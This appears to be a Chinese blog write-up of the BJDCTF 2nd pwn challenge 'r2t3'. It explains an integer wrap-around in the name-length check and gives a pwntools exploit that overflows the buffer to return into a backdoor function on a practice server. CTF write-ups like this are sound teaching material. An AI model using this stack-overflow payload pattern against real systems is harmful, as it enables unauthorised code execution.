BJDCTF 2nd - Pwn

r2t3

最简单的一道题,可是我竟然没有做出来,无语了,,,

文件保护没啥好说的,,,很正常

进入name_check函数

255 ==> 255

256 ==> 0,257 ==> 1,258 ==> 2,259 ==> 3,

260 ==> 4,261 ==> 5,262 ==> 6,263 ==> 7,264 ==> 8

 

我觉得应该是260-264,,,但是试了一下,发现最后的长度介于256-262都可以,,,我也不知道为什么差了这么几个,,,

 

存在后门函数,,,

 

所以,我们只需要,将输入的串覆盖返回地址,0x11+0x4,然后将字符串长度填充成需要的长度,即可

exp:

#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',27400)

p.recvuntil("name:")
payload=(0x11+0x4)*'a'+p32(0x0804858B)
payload=payload.ljust(262,'a')
p.sendline(payload)

p.interactive()

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章